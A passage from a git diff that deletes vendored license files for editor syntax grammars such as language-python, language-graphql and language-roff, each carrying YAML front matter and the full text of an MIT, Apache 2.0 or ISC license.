-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/wintermi/csharp-tmbundle by Matthew Winter @wintermi and
-Adam Lickel @lickel and distributed under the following license, located in
-`README.markdown`:
-
-This bundle is dual-licensed under MIT and GPL licenses.
-
- - http://www.opensource.org/licenses/mit-license.php
- - http://www.gnu.org/licenses/gpl.html
-
-Use it, change it, fork it, sell it. Do what you will, but please leave the
-author attribution.
diff --git a/vendor/licenses/grammar/language-csound.txt b/vendor/licenses/grammar/language-csound.txt
deleted file mode 100644
index 7efa344ca1..0000000000
--- a/vendor/licenses/grammar/language-csound.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: language-csound
-license: mit
----
-Copyright © 2015–2016 Nathan Whetsell
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-gfm.txt b/vendor/licenses/grammar/language-gfm.txt
deleted file mode 100644
index e6a6b6b19c..0000000000
--- a/vendor/licenses/grammar/language-gfm.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-gfm
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-graphql.txt b/vendor/licenses/grammar/language-graphql.txt
deleted file mode 100644
index 6b196dc991..0000000000
--- a/vendor/licenses/grammar/language-graphql.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: language-graphql
-license: mit
-curated: true
----
-
-The MIT License (MIT)
-
-Copyright (c) Robert Mosolgo
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-hy.txt b/vendor/licenses/grammar/language-hy.txt
deleted file mode 100644
index 49a8ad8797..0000000000
--- a/vendor/licenses/grammar/language-hy.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-hy
-license: mit
----
-Copyright (c) 2014 Bob Tolbert (bob@tolbert.org)
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-inform7.txt b/vendor/licenses/grammar/language-inform7.txt
deleted file mode 100644
index 52bfc1d859..0000000000
--- a/vendor/licenses/grammar/language-inform7.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: language-inform7
-license: mit
----
-The MIT License
-
-Copyright (c) 2016, Andrew Plotkin
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-javascript.txt b/vendor/licenses/grammar/language-javascript.txt
deleted file mode 100644
index cc666422c9..0000000000
--- a/vendor/licenses/grammar/language-javascript.txt
+++ /dev/null
@@ -1,36 +0,0 @@
----
-type: grammar
-name: language-javascript
-license: mit
----
-Copyright (c) 2015 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/javascript.tmbundle and distributed under the
-following license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/language-jsoniq.txt b/vendor/licenses/grammar/language-jsoniq.txt
deleted file mode 100644
index 4e5874bb3a..0000000000
--- a/vendor/licenses/grammar/language-jsoniq.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: language-jsoniq
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/language-less.txt b/vendor/licenses/grammar/language-less.txt
deleted file mode 100644
index 84f268dd83..0000000000
--- a/vendor/licenses/grammar/language-less.txt
+++ /dev/null
@@ -1,51 +0,0 @@
----
-type: grammar
-name: language-less
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/less.tmbundle and distributed under the following
-license, located in `LICENSE.md`:
-
-Copyright (c) 2010 Scott Kyle and Rasmus Andersson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-maxscript.txt b/vendor/licenses/grammar/language-maxscript.txt
deleted file mode 100644
index ab1a4bde04..0000000000
--- a/vendor/licenses/grammar/language-maxscript.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: language-maxscript
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2016 John Gardner
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/language-ncl.txt b/vendor/licenses/grammar/language-ncl.txt
deleted file mode 100644
index 7c2ae29d41..0000000000
--- a/vendor/licenses/grammar/language-ncl.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: language-ncl
-license: mit
----
-Copyright (c) 2015 Ryan Pavlick (github.com/rpavlick)
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-povray.txt b/vendor/licenses/grammar/language-povray.txt
deleted file mode 100644
index 68f5f56906..0000000000
--- a/vendor/licenses/grammar/language-povray.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-povray
-license: mit
----
-Copyright (c) 2016 Christoph Lipka
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-python.txt b/vendor/licenses/grammar/language-python.txt
deleted file mode 100644
index 8d564aa1a0..0000000000
--- a/vendor/licenses/grammar/language-python.txt
+++ /dev/null
@@ -1,36 +0,0 @@
----
-type: grammar
-name: language-python
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/python.tmbundle and distributed under the following
-license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/language-renpy.txt b/vendor/licenses/grammar/language-renpy.txt
deleted file mode 100644
index 92bee1c195..0000000000
--- a/vendor/licenses/grammar/language-renpy.txt
+++ /dev/null
@@ -1,39 +0,0 @@
----
-type: grammar
-name: language-renpy
-license: permissive
-curated: true
----
-Original work Copyright (c) 2014 GitHub Inc.
-
-Modified work Copyright (c) 2016 William Tumeo <tumeowilliam@gmail.com>
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/python.tmbundle and distributed under the following
-license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/language-restructuredtext.txt b/vendor/licenses/grammar/language-restructuredtext.txt
deleted file mode 100644
index 81e4bb7d33..0000000000
--- a/vendor/licenses/grammar/language-restructuredtext.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: language-restructuredtext
-license: mit
----
-MIT License
-
-Copyright (c) 2014-2016 Cory Benfield
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/language-roff.txt b/vendor/licenses/grammar/language-roff.txt
deleted file mode 100644
index 0bb79d8075..0000000000
--- a/vendor/licenses/grammar/language-roff.txt
+++ /dev/null
@@ -1,18 +0,0 @@
----
-type: grammar
-name: language-roff
-license: isc
----
-Copyright (c) 2016, John Gardner
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
